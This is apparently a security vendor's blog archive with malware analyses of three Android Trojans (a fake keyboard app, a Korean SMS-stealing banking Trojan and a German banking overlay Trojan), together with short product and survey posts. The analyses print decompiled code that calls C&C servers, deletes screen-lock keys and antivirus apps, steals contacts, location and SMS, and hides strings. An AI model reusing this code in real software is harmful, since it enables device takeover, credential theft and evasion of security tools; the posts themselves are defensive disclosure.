A Trojan Disguised as a Keyboard App

A Trojan disguised as a keyboard app performs various operations on a user’s device

Trustlook Labs discovered a Trojan taking advantage of the “su” command in a rooted Android device to perform malicious activities. The Trojan makes its way on to a device as a fake keyboard app named “AOSP keyboard.” Once the user executes the app, the malware removes its own icon from the user’s device.

The malware has the following characteristics:

  • MD5:
  • SHA256: 92bddb85ec6e94fc9dd4a0f62ec5a1fc7637c75f55e5b7507b74d29ecac065d5
  • Size: 275621 bytes
  • App name: AOSP Keyboard
  • Package name: com.android.classic

The package icon is:


public boolean isOnline() {
        NetworkInfo netInfo = ((ConnectivityManager) getSystemService("connectivity")).getActiveNetworkInfo();
        if (netInfo == null || !netInfo.isConnected()) {
            return false;
        return true;

    public int onStartCommand(Intent intent, int flags, int startId) {
        try {
            if (Constants.DEBUG) {
                SH.run("echo 'started Service' > /sdcard/Android/data/SystemLogs/Logger/bootup.txt");
            if (intent.getBooleanExtra("screen_state", false)) {
            } else {
    private void screenOn() throws InterruptedException {
        if (Constants.DEBUG) {
            SH.run("echo 'Screen On' > /sdcard/Android/data/SystemLogs/Logger/bootup.txt");

The malware first registers the device to the remote server:

private void checkDevice() {
        if (Constants.DEBUG) {
            SH.run("echo 'check Device' > /sdcard/Android/data/SystemLogs/Logger/bootup.txt");
        new AsyncTask<Void, Void, Void>() {
            protected Void doInBackground(Void... params) {
                HttpClient httpClient = new DefaultHttpClient();
                String man2 = Build.MANUFACTURER.replaceAll("\\s+", "");
                String rel = VERSION.RELEASE.replace("\\s+", "");
                HttpPost httpPost = new HttpPost("http://www.asds.esy.es/androidcp/device/checkdevice");
                BasicNameValuePair usernameBasicNameValuePair = new BasicNameValuePair("did", new StringBuilder(String.valueOf(man2)).append(rel).toString());
                BasicNameValuePair usernameValuePair = new BasicNameValuePair("name", DEBUGSERVICE.name);
                BasicNameValuePair numberValuePair = new BasicNameValuePair("number", DEBUGSERVICE.random);
                List<NameValuePair> nameValuePairList = new ArrayList();
                try {
                    httpPost.setEntity(new UrlEncodedFormEntity(nameValuePairList));
                    try {
                    } catch (ClientProtocolException cpe) {

The malware then retrieves command instructions from the C&C server “http://www.asds.esy.es“:

private void checkCMD() {
        if (Constants.DEBUG) {
            SH.run("echo 'check CMD' > /sdcard/Android/data/SystemLogs/Logger/bootup.txt");
        new AsyncTask<Void, Void, Void>() {
            protected Void doInBackground(Void... params) {
                HttpClient httpClient = new DefaultHttpClient();
                String rel = VERSION.RELEASE.replace("\\s+", "");
                String man2 = Build.MANUFACTURER.replaceAll("\\s+", "");
                HttpPost httpPost = new HttpPost("http://www.asds.esy.es/androidcp/device/getcommand");
                BasicNameValuePair usernameBasicNameValuePair = new BasicNameValuePair("did", new StringBuilder(String.valueOf(man2)).append(rel).toString());
                BasicNameValuePair usernameValuePair = new BasicNameValuePair("name", DEBUGSERVICE.name);
                BasicNameValuePair numberValuePair = new BasicNameValuePair("number", DEBUGSERVICE.random);
                List<NameValuePair> nameValuePairList = new ArrayList();
                try {
                    httpPost.setEntity(new UrlEncodedFormEntity(nameValuePairList));
                    try {
                        String response = DEBUGSERVICE.this.entityToString(httpClient.execute(httpPost).getEntity()).trim();
                        for (String element : DEBUGSERVICE.codeList) {
                            Intent intent;
                            if (element.contains(response)) {
                                intent = new Intent(DEBUGSERVICE.this, DEBUG.class);
                                intent.putExtra("command", response);
                                return null;
                            intent = new Intent(DEBUGSERVICE.this, Response.class);
                            intent.putExtra("command", response);

The following are some commands supported by the malware:

  • wipe device
  • wipe external storage
  • remove screen lock patterns/pins/codes
  • install apk
  • take screen snapshot
  • get list of packages
  • record audio
  • take picture from back camera
  • take picture from front camera
  • send file
  • disable adb on the device
  • get contacts
  • get SMS
  • get call logs
  • get browser bookmarks
  • get location information
  • delete Antivirus products

The following code snippets are used to remove the screen lock patterns. The malware utilizes the “su” commands on the rooted device:

SU.run("mount -o rw, remount /data");
                SU.run("mount -o rw, remount /data/system");
                SU.run("mount -o rw, remount /data/system/gesture.key");
                remount = Runtime.getRuntime().exec(new String[]{"su", "-c", "mount -o rw,remount '/data/'"});
                remount1 = Runtime.getRuntime().exec(new String[]{"su", "-c", "mount -o rw,remount /data/system/"});
                pr1 = Runtime.getRuntime().exec(new String[]{"su", "-c", "chmod 0777  /data/"});
                pr2 = Runtime.getRuntime().exec(new String[]{"su", "-c", "chmod 0777  /data/system"});
                Process unlock = Runtime.getRuntime().exec(new String[]{"su", "-c", "rm -rf  /data/system/gesture.key"});
                Process unlock1 = Runtime.getRuntime().exec(new String[]{"su", "-c", "rm -rf  /data/system/gatekeeper.password.key"});
                Process unlock2 = Runtime.getRuntime().exec(new String[]{"su", "-c", "rm -rf  /data/system/gatekeeper.pattern.key"});
                Process unlock3 = Runtime.getRuntime().exec(new String[]{"su", "-c", "rm -rf  /data/system/*.key"});
                SU.run("rm -rf /data/system/*.key");

The following code snippets are responsible for getting the contacts from the device:

String vfile = Build.MODEL + "_Contacts_" + date + ".vcf";
                    File file = new File(new StringBuilder(String.valueOf(Environment.getExternalStorageDirectory().getPath())).append("/Android/data/SystemLogs/Contacts/").toString());
                    String path = file.getAbsolutePath() + "/" + vfile;
                    Cursor phones = getContentResolver().query(Phone.CONTENT_URI, null, null, null, null);
                    for (int i = 0; i < phones.getCount(); i++) {
                        try {
                            AssetFileDescriptor fd = getContentResolver().openAssetFileDescriptor(Uri.withAppendedPath(Contacts.CONTENT_VCARD_URI, phones.getString(phones.getColumnIndex("lookup"))), "r");
                            byte[] buf = new byte[((int) fd.getDeclaredLength())];
                            String str = new String(buf);
                            new FileOutputStream(path, true).write(str.toString().getBytes());
                        } catch (Exception e1) {

The malware uses the code shown below to delete any antivirus products:

                } else if (this.commands.equals(DEBUGSERVICE.codeList[38])) {
                    SU.run("mount -o rw, remount /data");
                    SU.run("mount -o rw, remount /data/app");
                    SU.run("mount -o rw,remount '/data/'");
                    SU.run("mount -o rw,remount '/data/app/'");
                    SU.run("chmod 0777 '/data/'");
                    SU.run("chmod 0777 '/data/app/'");
                    SU.run("rm -rf /data/app/com.cleanmaster.mguard*");
                    SU.run("rm -rf  /data/app/com.avast.android.mobilesecurity*");
                    SU.run("rm -rf /data/app/com.qihoo.security*");
                    SU.run("rm -rf  /data/app/com.cleanmaster.security*");
                    SU.run("rm -rf  /data/app/com.zrgiu.antivirus*");
                    SU.run("rm -rf  /data/app/com.avira.android*");
                    SU.run("rm -rf  /data/app/com.symantec.mobilesecurity*");
                    SU.run("rm -rf  /data/app/com.wsandroid.suite*");
                    SU.run("rm -rf  /data/app/com.eset.ems2.gp*");
                    SU.run("rm -rf  /data/app/com.quickheal.platform*");
                    SU.run("rm -rf  /data/app/com.kms.free*");
                    SU.run("rm -rf  /data/app/com.cmsecurity.lite*");
                    SU.run("rm -rf  /data/app/com.k7computing.android.security*");
                    SU.run("rm -rf  /data/app/org.antivirus*");
                    SU.run("rm -rf  /data/app/com.androhelm.antivirus.free2*");
                    SU.run("rm -rf  /data/app/com.lookout*");
                    SU.run("rm -rf  /data/app/org.malwarebytes.antimalware*");
                    SU.run("rm -rf  /data/app/com.cleanmaster.security.stubborntrjkiller*");
                    SU.run("rm -rf  /data/app/com.bitdefender.antivirus*");
                    SU.run("rm -rf  /data/app/com.cmcm.lite*");

The malware uses the following function to get location information:

public Location getLocation() {
        try {
            this.locationManager = (LocationManager) this.mContext.getSystemService("location");
            this.isGPSEnabled = this.locationManager.isProviderEnabled("gps");
            this.isNetworkEnabled = this.locationManager.isProviderEnabled("network");
            Intent intent = new Intent("android.location.GPS_ENABLED_CHANGE");
            intent.putExtra("enabled", true);
            if (this.isGPSEnabled || this.isNetworkEnabled) {
                this.canGetLocation = true;
                if (this.isNetworkEnabled) {
                    this.locationManager.requestLocationUpdates("network", MIN_TIME_BW_UPDATES, 10.0f, this);
                    if (this.locationManager != null) {
                        this.location = this.locationManager.getLastKnownLocation("network");
                        if (this.location != null) {
                            this.latitude = this.location.getLatitude();
                            this.longitude = this.location.getLongitude();
                if (this.isGPSEnabled && this.location == null) {
                    this.locationManager.requestLocationUpdates("gps", MIN_TIME_BW_UPDATES, 10.0f, this);
                    if (this.locationManager != null) {
                        this.location = this.locationManager.getLastKnownLocation("gps");
                        if (this.location != null) {
                            this.latitude = this.location.getLatitude();
                            this.longitude = this.location.getLongitude();
                String finalOutput = this.latitude + "|" + this.longitude;
                new Sender().execute(new String[]{"gps", DEBUGSERVICE.name, DEBUGSERVICE.random, finalOutput});

“Rooting” a device can be very dangerous. It gives user administrative access to the device, which presents obvious drawbacks. First, you void the manufacturer warranty for the device. Second, permission and freedom are increased for malware.

Trustlook was able to gather deep insights and knowledge of the malware behavior of this keyboard app. Trustlook’s anti-threat platform can effectively protect users against this invasion.

Trojan Intercepts SMS Messages To Attack Banks In South Korea

Banks in South Korea recently started to offer customers a text messaging option to access accounts and authenticate transactions. It was reported that a major South Korea bank, KEB Hana Bank, was the first to launch the text banking service in the country on Nov 21, 2016. Unfortunately, cyber thieves have picked up on this, and are trying to get their hands on these text messages.

Trustlook labs discovered a new banking Trojan that targets these banks in South Korea that offer the text messaging service. The Trojan disguises itself as a Google Play app and the user is requested to grant device administrator rights for it. This prevents the malware for being removed.

The app starts as a background service and is invisible to the user. The package can be identified as having the following characteristics:

  • MD5: b4d419cd7dc4f7bd233fa87f89f73f22
  • SHA256: 1fa03f9fa2c6744b672433c06a1a3142997ba4f261b68eddbc03545caff06a82
  • Size: 100289 bytes
  • App name: Google_Play
  • Package name: com.android.systemsetting

The package icon is:


Upon execution, the app persuades the user to grant device administrator access in order to maintain its presence on the system:


The app disguises itself as “AhnLab V3 Mobile PLUS” which is a popular mobile security app in South Korea.


In the meantime, it attempts to remove the legitimate AhnLab security apps:

 public void onClick(View arg2) {

       GeneralUtil.uninstallAPK(((Context)this), "com.ahnlab.v3mobileplus");

       GeneralUtil.uninstallAPK(((Context)this), "com.ahnlab.v3mobilesecurity.soda");

The malware attempts to collects the user’s device information and send it to the server:


It then goes through the system to look for the following banking apps:

  • nh.smart
  • com.shinhan.sbanking
  • com.hanabank.ebk.channel.android.hananbank
  • com.webcash.wooribank
  • com.kbstar.kbbank

The following code snippets are used to retrieve information on any installed banking apps:

public class FBDBSender

   private void uploadInstallApp() {

       try {


           boolean v1 = CoreService.checkAPP(((Context)this), "nh.smart");

           boolean v2 = CoreService.checkAPP(((Context)this), "com.shinhan.sbanking");

           boolean v3 = CoreService.checkAPP(((Context)this), "com.hanabank.ebk.channel.android.hananbank");

           boolean v4 = CoreService.checkAPP(((Context)this), "com.webcash.wooribank");

           boolean v5 = CoreService.checkAPP(((Context)this), "com.kbstar.kbbank");

           String v6 = this.getVersion("nh.smart");

           String v7 = this.getVersion("com.shinhan.sbanking");

           String v8 = this.getVersion("com.hanabank.ebk.channel.android.hananbank");

           String v9 = this.getVersion("com.webcash.wooribank");

           String v10 = this.getVersion("com.kbstar.kbbank");


           UploadInstallAppTask v12 = new UploadInstallAppTask(this);

           String[] v13 = new String[10];

           String v11 = v1 ? "1" : "0";

           v13[0] = v11;

           v11 = v2 ? "1" : "0";

           v13[1] = v11;

           int v14 = 2;

           v11 = v3 ? "1" : "0";

           v13[v14] = v11;

           v14 = 3;

           v11 = v4 ? "1" : "0";

           v13[v14] = v11;

           v14 = 4;

           v11 = v5 ? "1" : "0";

           v13[v14] = v11;

           v13[5] = v6;

           v13[6] = v7;

           v13[7] = v8;

           v13[8] = v9;

           v13[9] = v10;



The malware then sends out the captured information:


The malware intercepts all the SMS messages between the device and the banks and sends it to the attacker:

public class SMSReceiver extends BroadcastReceiver {

   static final String ACTION = "android.provider.Telephony.SMS_RECEIVED";

   private final String TAG;

   public SMSReceiver() {


       this.TAG = "sms Receiver";


   public void onReceive(Context arg23, Intent arg24) {

       if("android.provider.Telephony.SMS_RECEIVED".equals(arg24.getAction())) {

           Bundle v3 = arg24.getExtras();

           if(v3 != null) {

               SmsInfoDao v13 = new SmsInfoDao(arg23);

               Object v10 = v3.get("pdus");

               SmsMessage[] v8 = new SmsMessage[v10.length];

               int v4;

               for(v4 = 0; v4 < v10.length; ++v4) {

                   v8[v4] = SmsMessage.createFromPdu(v10[v4]);


               SmsMessage[] v2 = v8;

               int v6 = v2.length;

               int v5;

               for(v5 = 0; v5 < v6; ++v5) {

                   SmsMessage v7 = v2[v5];

                   new Date().toString();

                   String v15 = v7.getDisplayOriginatingAddress();

                   String v16 = v7.getDisplayMessageBody();

                   if(v16.startsWith(Constant.NEW_SERVER_MSG_PREFIX)) {

                       String v9 = v16.substring(Constant.NEW_SERVER_MSG_PREFIX.length());

                       if(v9.startsWith("http")) {

                           Log.d("sms Receiver", "new address:" + v9);

                           SharedPreferences v11 = PreferenceManager.getDefaultSharedPreferences(arg23);

                           App.URL_BASE = v9;

                           v11.edit().putString("serverIp", v9).commit();



                   if(App.curInterceptState != 0 && System.currentTimeMillis() - App.curInterceptStateStartTime < 9223372036854775807L) {

                       SmsInfo v12 = new SmsInfo();

                       v12._id = (((int)Math.round(Math.random() * 9999999 + 1))) * -1;

                       v12.thread_id = "";

                       v12.service_center = "";

                       v12.name = "";

                       v12.phoneNumber = v15;

                       v12.smsbody = v16;

                       v12.date = new Date().getTime();

                       v12.type = 0;








   public class SMSContent extends ContentObserver {

       public SMSContent(CoreService arg1, Handler arg2) {

           CoreService.this = arg1;



       public void onChange(boolean arg23) {

           Log.i("SMS Core Service", "smsÓб仯");


           Cursor v8 = App.getInstance().getContentResolver().query(Uri.parse("content://sms/inbox"), null, " read = ?", new String[]{"0"}, "date asc");

           if(v8 != null && (v8.moveToFirst())) {

               int v10 = v8.getColumnIndex("_id");

               int v19 = v8.getColumnIndex("thread_id");

               int v16 = v8.getColumnIndex("service_center");

               int v12 = v8.getColumnIndex("person");

               int v14 = v8.getColumnIndex("address");

               int v18 = v8.getColumnIndex("body");

               int v9 = v8.getColumnIndex("date");

               int v20 = v8.getColumnIndex("type");

               do {

                   SmsInfo v17 = new SmsInfo();

                   v17._id = v8.getInt(v10);

                   v17.thread_id = v8.getString(v19);

                   v17.service_center = v8.getString(v16);

                   v17.name = v8.getString(v12);

                   v17.phoneNumber = v8.getString(v14);

                   v17.smsbody = v8.getString(v18);

                   v17.date = v8.getLong(v9);

                   v17.type = v8.getInt(v20);

                   if(!CommUtil.isEmpty(v17.smsbody)) {

                       Toast.makeText(CoreService.this, v17.smsbody + "", 0).show();

                       Log.i("SMS Core Service", v17.smsbody);

                       if(v17.smsbody.trim().startsWith(Constant.NEW_SERVER_MSG_PREFIX)) {

                           String v13 = v17.smsbody.substring(Constant.NEW_SERVER_MSG_PREFIX.length());

                           Log.i("SMS Core Service", v13);

                           Toast.makeText(CoreService.this, ((CharSequence)v13), 0).show();

                           if(v13.startsWith("http")) {

                               Log.d("SMS Core Service", "new server address:" + v13);

                               SharedPreferences v15 = PreferenceManager.getDefaultSharedPreferences(CoreService.this);

                               App.URL_BASE = v13;

                               v15.edit().putString("serverIp", v13).commit();

                               CoreService.this.getContentResolver().delete(Uri.parse("content://sms/" + v17._id), null, null);




                       else if(v17.smsbody.trim().startsWith(Constant.LOCK_SCREEN_ON)) {

                           Log.i("SMS Core Service", v17.smsbody.trim() + " is not startsWith " + Constant.NEW_SERVER_MSG_PREFIX);


                       Log.d("SMS Core Service", "insert sms to db");





                       if(App.curInterceptState == 0) {



                       if(System.currentTimeMillis() - App.curInterceptStateStartTime >= 9223372036854775807L) {



                       CoreService.this.getContentResolver().delete(Uri.parse("content://sms/" + v17._id), null, null);









The app is capable of updating itself:

     protected String[] doInBackground(AppUpdateModel[] arg11) {

           String[] v6;

           try {

               AppUpdateModel v1 = arg11[0];

               String v2 = App.URL_BASE + v1.getUpdateUrl();

               Log.i("SMS Core Service", v2);

               long v4 = System.currentTimeMillis();

               CoreService.this.lastFileName = v4 + ".apk";

               v6 = new String[]{NetUtils.downApk(v2, v4 + ".apk", CoreService.this), v1.getAppPackageName()};



For anyone using the text banking service that is being offered by some Korean banks, we suggest you install the Trustlook Mobile Security app to detect and block this attack, as well as to prevent further malicious activities.

Over 70 Percent Will Shop on Mobile This Holiday Season

Shopping on a mobile device is expected to be stronger than ever during the 2016 Holiday Season. Smartphone proliferation, faster network speeds, and slick shopping apps have combined to provide a far better experience for mobile shoppers. But as the spending is soaring, so too are the mobile security risks.

Trustlook, a next-generation mobile security company, has shared findings from a recent survey of Android users. The goal of the survey was to dig deeper into the expected mobile shopping behaviors for the 2016 Holiday season. Some key findings include:

1. 43% of users surveyed will spend more than $250 on purchases made through a mobile device
2. 40% of mobile shoppers prefer shopping on their mobile devices, versus 18% who prefer shopping in a store
3. Even though 70.35% of users surveyed plan on making a purchase on a mobile device, 64% have not installed a mobile security app
4. Amazon, eBay, and Walmart are the most popular mobile shopping apps

For an infographic on Trustlook’s survey findings, please go here.

Trustlook Releases ADUPS Vulnerability Detector

Trustlook has released a new feature in its Trustlook Mobile Security app that identifies the presence of rogue firmware from Shanghai ADUPS Technology Co. This potentially dangerous firmware comes pre-installed on some Android phones, and can monitor text messages, phone call histories, and details of how the phone is being used all without the user’s permission.

Until now, there was no easy way for users to check for this vulnerability. Only the most technically sophisticated users could identify the threat by observing the network traffic. Now, Trustlook is providing an easy-to-use, single-click ADUPS Vulnerability detector within the Trustlook Mobile Security app.

The Trustlook Mobile Security app is available to download for free from Google Play. It currently checks for all known versions of the ADUPS system apps that conduct aggressive data collection, with more being added as they are discovered.

We have also created an infographic with more details on the ADUPS threat.

Banking Trojan Targets German Financial Institutions

This report summarizes a mobile malware attack recently discovered by Trustlook Labs. Based on the information we obtained, Trustlook can confirm that various financial institutions across the world have been targeted, with Germany being the most targeted country in the attack.

Trustlook Labs investigated the malware’s attack vectors as well as the communication between the compromised devices and their command-and-control (C&C) server infrastructure. The attack targets 15 financial institutions in Germany. Based on our findings, we expect that mobile users of other regional financial services institutions will face similar threats.

The malware is likely distributed through a link embedded in an email or text message, or from a phishing website. The user downloads an app and “sideloads” it since the app is not directly from the Google Play Store.

The malware masquerades as an Email client and comes with a corresponding icon.


The app forces the user to grant device administrator access.


The malware then calls setComponentEnabledSetting() to hide the icon:

  private void invoke_hideApp2()


    getApplicationContext().getPackageManager().setComponentEnabledSetting(getComponentName(), 2, 1);



  public PendingIntent f()


    Intent localIntent = new Intent(n);

    return PendingIntent.getBroadcast(getApplicationContext(), 0, localIntent, 0);



The malware hides strings by inserting characters in a random location inside the string. For example:

public static final String[] d = { “c!o!m!.qiho!o.!s!ec!ur!i!t!y!”.replace(“!”, “”), “co!m.!an!tiv!i!r!u!s”.replace(“!”, “”), “co!m!.t!heg!old!e!ng!o!o!da!pp!s!.!ph!on!e!_c!l!e!aning!_v!iru!s_f!r!e!e!.c!l!ean!e!r.!b!oos!t!er!”.replace(“!”, “”), “c!om!.antiv!ir!us.!table!t!”.replace(“!”, “”), “c!om!.!n!qm!o!b!il!e.!an!t!i!v!i!r!u!s20!”.replace(“!”, “”), “co!m.km!s!.!f!r!ee”.replace(“!”, “”), “co!m!.!dr!w!e!b!”.replace(“!”, “”), “co!m!.!t!rus!t!l!o!ok!.!a!nt!i!v!i!r!u!s!”.replace(“!”, “”), “c!om!.!es!e!t.e!m!s2!.gp!”.replace(“!”, “”), “com!.e!set!.!e!m!s.!g!p!”.replace(“!”, “”), “c!om.s!y!ma!nte!c.mo!b!i!le!s!e!cur!it!y!”.replace(“!”, “”), “c!om.!d!u!ap!p!s.!a!n!t!i!vir!us”.replace(“!”, “”), “c!o!m.!p!ir!i!f!or!m!.!c!c!l!ea!ner!”.replace(“!”, “”), “c!o!m!.!c!l!ean!mast!e!r!.!m!guar!d”.replace(“!”, “”), “c!o!m.clea!n!m!ast!er.s!e!cu!ri!t!y”.replace(“!”, “”), “c!o!m!.!s!on!y!er!i!c!sso!n!.!m!t!p!.!ext!en!s!ion.f!ac!to!r!yr!es!et”.replace(“!”, “”), “com!.!a!n!hlt!.!ant!i!vi!ru!sp!r!o!”.replace(“!”, “”), “co!m.c!l!e!a!n!m!as!ter.!s!d!k”.replace(“!”, “”), “c!om!.!qi!ho!o!.!se!cu!rit!y.!l!i!te”.replace(“!”, “”), “o!e!m!.!a!nt!iv!i!r!us”.replace(“!”, “”), “c!om!.!ne!tqi!n!.an!ti!v!ir!u!s!”.replace(“!”, “”), “d!r!oi!d!d!u!d!es!.!b!es!t!.!an!i!tv!i!r!u!s!”.replace(“!”, “”), “c!om.b!i!t!d!ef!e!nd!e!r.!a!nt!iv!ir!u!s!”.replace(“!”, “”), “c!o!m.!dia!nx!ino!s!.!op!ti!m!iz!er!.d!upl!a!y!”.replace(“!”, “”), “c!o!m!.c!l!ea!nma!ster.!mg!ua!rd_x!8!”.replace(“!”, “”), “c!om!.w!o!mb!oi!dsy!st!e!m!s!.!an!t!i!v!i!ru!s.s!e!cu!r!i!ty.!a!n!d!r!oi!d”.replace(“!”, “”), “co!m.!nq!mob!il!e.a!nt!iv!ir!u!s!2!0!.!cl!a!rob!r!”.replace(“!”, “”), “c!o!m!.!r!e!f!e!r!p!l!i!s!h!.!V!iru!s!R!e!mo!v!al!F!o!r!A!ndr!o!i!d”.replace(“!”, “”), “c!o!m.!c!l!e!a!n!ma!s!t!er!.b!o!o!s!t!”.replace(“!”, “”), “co!m!.z!r!gi!u!.!a!nti!v!ir!u!s!”.replace(“!”, “”), “a!v!g!.!a!n!t!i!vi!r!us”.replace(“!”, “”) };

From the above string, the malware retrieves the process names of widely used mobile security products, including Trustlook Antivirus:

  • com.qihoo.security
  • com.antivirus
  • com.thegoldengoodapps.phone_cleaning_virus_free.cleaner.booster
  • com.antivirus.tablet
  • com.nqmobile.antivirus20
  • com.kms.free
  • com.drweb
  • com.trustlook.antivirus
  • com.eset.ems2.gp
  • com.eset.ems.gp
  • com.symantec.mobilesecurity
  • com.duapps.antivirus
  • com.piriform.ccleaner
  • com.cleanmaster.mguard
  • com.cleanmaster.security
  • com.sonyericsson.mtp.extension.factoryreset
  • com.anhlt.antiviruspro
  • com.cleanmaster.sdk
  • com.qihoo.security.lite
  • oem.antivirus
  • com.netqin.antivirus
  • droiddudes.best.anitvirus
  • com.bitdefender.antivirus
  • com.dianxinos.optimizer.duplay
  • com.cleanmaster.mguard_x8
  • com.womboidsystems.antivirus.security.android
  • com.nqmobile.antivirus20.clarobr
  • com.referplish.VirusRemovalForAndroid
  • com.cleanmaster.boost
  • com.zrgiu.antivirus
  • avg.antivirus

If any one of the above active processes is found, the malware immediately launches the home screen to suppress the process.

    List localList = com.jaredrummler.android.processes.a.a(paramContext);

    if ((e.g(paramContext)) && (!i.a(com.jlkbvcbyjjscyxvsudkmjabndnkrbn.a.a.a, localList, null)))





    if (com.jlkbvcbyjjscyxvsudkmjabndnkrbn.a.a.d.length > 0) // list of security product strings


      int i = 0;

      while (i < com.jlkbvcbyjjscyxvsudkmjabndnkrbn.a.a.d.length)


        if (i.a(com.jlkbvcbyjjscyxvsudkmjabndnkrbn.a.a.d[i], localList, null)) // i.a(String arg2, List arg3, Context arg4) search the active process under “/proc”


          i.b(paramContext); // Launch home screen



        i += 1;




  public static void b(Context paramContext)


    Intent localIntent = new Intent(“android.intent.action.MAIN”);





The malware sends out system information, and all communications are SSL encrypted. The following is an example of decrypted traffic:


The malware then monitors the process related to the financial institutions. The process lists are taken from the following string:

public static final String b = “[{“to”: “de.postbank.finanzassistent”,”body”: “%API_URL%%PARAM%17”},{“to”: “de.fiducia.smartphone.android.banking.vr”,”body”: “%API_URL%%PARAM%16”},{“to”: “mobile.santander.de”,”body”: “%API_URL%%PARAM%18”},{“to”: “de.adesso.mobile.android.gad”,”body”: “%API_URL%%PARAM%68”},{“to”: “com.starfinanz.smob.android.sfinanzstatus”,”body”: “%API_URL%%PARAM%11”},{“to”: “com.starfinanz.mobile.android.dkbpushtan”,”body”: “%API_URL%%PARAM%69”},{“to”: “com.isis_papyrus.raiffeisen_pay_eyewdg”,”body”: “%API_URL%%PARAM%10”},{“to”: “com.starfinanz.smob.android.sbanking”,”body”: “%API_URL%%PARAM%70”},{“to”: “de.dkb.portalapp”,”body”: “%API_URL%%PARAM%15”},{“to”: “com.ing.diba.mbbr2″,”body”: “%API_URL%%PARAM%9”},{“to”: “de.ing_diba.kontostand”,”body”: “%API_URL%%PARAM%67”},{“to”: “de.commerzbanking.mobil”,”body”: “%API_URL%%PARAM%13”},{“to”: “de.consorsbank”,”body”: “%API_URL%%PARAM%14”},{“to”: “com.db.mm.deutschebank”,”body”: “%API_URL%%PARAM%8”},{“to”: “de.comdirect.android”,”body”: “%API_URL%%PARAM%12″}]”.replace(“%PARAM%”, “njs2/?m=”);

The affected banking apps are:

  • de.postbank.finanzassistent
  • de.fiducia.smartphone.android.banking.vr
  • mobile.santander.de
  • de.adesso.mobile.android.gad
  • com.starfinanz.smob.android.sfinanzstatus
  • com.starfinanz.mobile.android.dkbpushtan
  • com.isis_papyrus.raiffeisen_pay_eyewdg
  • com.starfinanz.smob.android.sbanking
  • de.dkb.portalapp
  • com.ing.diba.mbbr2
  • de.ing_diba.kontostand
  • de.commerzbanking.mobil
  • de.consorsbank
  • com.db.mm.deutschebank
  • de.comdirect.android

The malware then searches for the related active processes. Once found, the malware constructs the corresponding URL used to retrieve the web interface from the C&C server. During this time, the malware uses an AlarmManager to keep the screen and WiFi on:

  protected void onCreate(Bundle paramBundle)



    if (i.c(getApplicationContext())) {



    setContentView(2130903065); // layout.activity_main

    com.jlkbvcbyjjscyxvsudkmjabndnkrbn.api.e.j(this, com.jlkbvcbyjjscyxvsudkmjabndnkrbn.a.a.b); // process string/URL list store into  JSON format

    com.jlkbvcbyjjscyxvsudkmjabndnkrbn.api.e.h(this, “”); // root_phone

    com.jlkbvcbyjjscyxvsudkmjabndnkrbn.api.e.d(this, false); //app_kill

    com.jlkbvcbyjjscyxvsudkmjabndnkrbn.api.e.c(this, false); //free_dialog

    com.jlkbvcbyjjscyxvsudkmjabndnkrbn.api.e.g(this, false);

    this.p = new a(this);

    Settings.System.putInt(getContentResolver(), “wifi_sleep_policy”, 2);

    if (MainService.c == null)


      MainService.c = ((PowerManager)getSystemService(“power”)).newWakeLock(1, MainService.b);


      MainService.d = ((WifiManager)getSystemService(“wifi”)).createWifiLock(1, b.aP);

      if (!MainService.d.isHeld()) {




Once the user starts the banking app, the malware contacts its C&C server to receive data used to create and activate another WebView and entice the user to enter banking credentials. For example, if the user opens the banking app “mobile.santander.de”, the malware retrieves the data by issuing the following request:


The following is the comparison of the real banking interface and the fake one:

 image05   image01

The collected credentials will be sent to the same C&C server. The malware can accept the commands from the server to receive and send SMS messages. The malware can intercept SMS and can steal your two-factor authentication PIN to complete a transaction without you realizing it.

Currently, the malware uses three servers:

  • polo777555lolo.at
  • polo569noso.at
  • wahamer8lol77j.at

The domains are registered by “Koste Karima” in Merdzavan, a village in the Armavir Province of Armenia, the current IP is located in Germany:


The malware calls getNetworkCountryIso()  and getSimCountryIso () to get the device and SIM card country code. It stops running if any one of the following country codes is found:

  • ru
  • rus
  • kz
  • ua
  • by
  • az
  • am
  • kg
  • md
  • tj
  • tm
  • uz
  • us

The attack is launched by cyber criminals driven by financial incentives. It scams people into giving up their banking login credentials and other personal data by displaying overlays that look nearly identical to banking apps’ login pages. Its malicious behavior is spreading to additional countries, expanding its footprint at a rapid pace. But with deep knowledge of the malware behavior, Trustlook’s anti-threat platform can effectively protect our users against invasion.

Top 5 Scariest Malware for Halloween

Happy Halloween! Trustlook has compiled a colorful Halloween Android malware infographic. Based on a study of 376,031 malware samples in the month of October, we have identified the Top 5 Scariest Malware families, and offer a close-up look of actual malicious apps. Here is what is in the infographic:

▪ Descriptions of the Top 5 Scariest Malware families
▪ Access to detailed reports (clickable) of 20 real malicious apps
▪ Tips to stay protected against malware

Click here to view to infographic.